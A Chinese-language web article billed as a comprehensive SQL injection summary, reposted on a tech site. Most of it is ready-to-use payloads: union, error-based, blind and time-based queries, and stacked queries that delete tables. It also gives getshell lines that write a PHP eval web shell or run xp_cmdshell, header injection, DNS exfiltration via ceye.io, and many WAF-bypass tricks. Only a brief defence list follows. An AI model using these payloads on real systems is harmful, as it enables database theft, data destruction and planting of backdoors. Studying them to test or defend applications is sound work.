您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

这可能是最全的SQL注入总结,很有用

时间:2019-12-09 11:04:24  来源:  作者:

SQL注入原理

当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。

攻击者通过构造不同的sql语句来实现对数据库的任意操作。

SQL注入的分类

按变量类型分:数字型和字符型

按HTTP提交方式分:POST注入、GET注入和Cookie注入

按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

按数据库类型分:

sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis

 MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库

2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

判断三种数据库的语句

  • MySQL:and length(user())>10
  • ACCESS:and (select count(*)from MSysAccessObjects)>0
  • MSSQL:and (select count(*)from sysobjects)>0

 基本手工注入流程

1.判断注入点

  • 数字型:id=2-1
  • 字符型:' 、')、 '))、 "、 ")、 "))
  • 注释符:-- (这是--空格)、--+、/**/、#
这可能是最全的SQL注入总结,很有用

 

2.获取字段数

order by 二分法联合查询字段数,观察页面变化从而确定字段数

  • order by 1
  • order by 50

group by 译为分组,注入时也可使用,不过我没用过

3.查看显示位尝试使用联合注入

利用and 1=2或and 0及id=-12查看显示数据的位置

替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容

如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起

union select(select group_concat(id,'~',uname)from test.users),2,3

报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

POST中的报错注入

这可能是最全的SQL注入总结,很有用

 

 布尔盲注

我在盲注中常用的函数:

1.char() 解ASCII码;

2.mid()截取字符串;

举例:mid('hello',1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串;

4.count()计算查询结果的行数;

5.concat()查询结果合并但保持原有行数;

6.group_concat()查询结果合并但都放在一行中;

7.ascii() 查询ascii码;

猜数据库长度(利用二分法);

  • id=1 and (length(database()))>1
  • id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

  • and ascii(mid(database(),1,1))>1
  • and ascii(mid(database(),2,1))>1

查询当前数据库中所有表名;

and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度;

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符;

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段;

and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度;

and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符;

and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数;

and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段);

and (select count(uname)from security.emails)>7 查询uname的行数

查询字段内容;

length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100

将查询到的ASCII码放到mysql中查询。

举例:select char(39);

这可能是最全的SQL注入总结,很有用

 

 延时盲注

利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:

select * from user where id='1' or sleep(3) %23

这个没什么好说的

select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果长度大于10,则睡3秒,其他则0秒

select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。

多语句注入

多语句意思就是可以执行多个语句,利用分号进行隔开

示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+id=1';select if(length(user(),1,1)>1,sleep(3),1) %23';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

内联注入

举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

 getshell

id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+

也可使用dumpfile进行写入。

outfile和dumpfile的区别:

outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。

数据库写入:

exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:www\uploadFiles2019-11404.asp"'

宽字节注入

当编码位gbk时,%df%27或%81%27数据为空

就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入

这可能是最全的SQL注入总结,很有用

 

测试出来就可以使用sqlmap跑了,23333

加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)

宽字节防御:

这可能是最全的SQL注入总结,很有用

 

第10行代码必须和第24行必须同时使用,要么就更换编码格式

二次编码注入

代码中有urldecode() 函数

%2527 先解码成%27再解码成'单引号

sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"

-prefix为设置前缀 -suffix为设置后缀

设置后缀,防止sqlmap使用内联注

使用自带的脚本进行注入chardoubleencode.py

这可能是最全的SQL注入总结,很有用

 

 图片上传sql注入

猜结构,为时间戳加文件名

这可能是最全的SQL注入总结,很有用

 


这可能是最全的SQL注入总结,很有用

 

替换and sleep(3) 为*进行salmap

 二次注入

abc' 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc'

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

 XFF头注入

update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';

id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入;

X-Forward-For:127.0.0.1' select 1,2,user()
这可能是最全的SQL注入总结,很有用

 

 User-Agent请求头注入

这可能是最全的SQL注入总结,很有用

 

 DNS外带日志示例

外带平台 :xip.io ceye.io

MSSQL查询当前数据库;

这可能是最全的SQL注入总结,很有用

 


这可能是最全的SQL注入总结,很有用

 

MySQL查询数据库版本;

这可能是最全的SQL注入总结,很有用

 


这可能是最全的SQL注入总结,很有用

 

常用过WAF技巧

1.特征字符大小写(基本没用)

UnIoN SeLcT 1,2,3

2.内联注释

id=-1/*!UNION*/%20//*!SELECT*/%201,2,3

3.特殊字符代替空格

%09 tab键(水平)、%0a 换行、%0c 新的一页%0d return功能、%0b tab键(垂直)、%a0空格

4.等价函数和逻辑符号

hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@version==>version()@@datadir==>datadir()逻辑符号:如and和or不能使用时,尝试&&和||双管道符。

5.特殊符号

反引号,select `version()`,绕过空格和正则加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

6.关键字拆分

'se'+'lec'+'t'%S%E%L%C%T 1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)

7.加括号绕过

小括号

union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括号

select{x user}from{x mysql.user}id=-1 union select 1,{x 2},3

8.过滤and和or下的盲注

id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名单绕过

拦截信息:

GET /pen/news.php?id=1 union select user,password from mysql.user

绕过:

GET /pen/news. php/admin?id=1 union select user,password from mysql. userGET /pen/admin/..news. php?id=1 union select user,password from mysql. user

10.HTTP参数控制

(1)HPP(HTTP Parmeter Polution)(重复参数污染)

举例:

index.php?id=1 union select username,password from usersindex.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users

HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。

具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过

(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)

HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

 SQL注入防御

1.对用户输入的内容进行转义;

2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度;

3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数;

4.添加WAF,防火墙等。



Tags:SQL注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  Tags: SQL注入  点击:(21)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19  Tags: SQL注入  点击:(52)  评论:(0)  加入收藏
(一)SQL注入。1.如何理解SQL注入? SQL注入是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手法。2.SQL注入是如何产生的? web开发人员无法保证所有的输入...【详细内容】
2021-09-17  Tags: SQL注入  点击:(47)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  Tags: SQL注入  点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  Tags: SQL注入  点击:(60)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  Tags: SQL注入  点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  Tags: SQL注入  点击:(74)  评论:(0)  加入收藏
0&times;00:前言对于MYSQL知识的一个初总结 0&times;01:正文 MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只...【详细内容】
2021-07-29  Tags: SQL注入  点击:(88)  评论:(0)  加入收藏
在本地搭建服务器,httpd-vhosts.conf 中设置本地绑定的域名: 其中,zzzphp为下载的zzzphp cms的内容。然后,本机上的zzzphp cms的目录结构为如下: 在按照要求安装好cms后,本地cms的...【详细内容】
2021-07-16  Tags: SQL注入  点击:(80)  评论:(0)  加入收藏
得到一个像原来老师一样督促你、关心你的人很难。。。---- 网易云热评一、常用命令及函数1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回...【详细内容】
2021-05-13  Tags: SQL注入  点击:(224)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(52)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(67)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(60)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(66)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条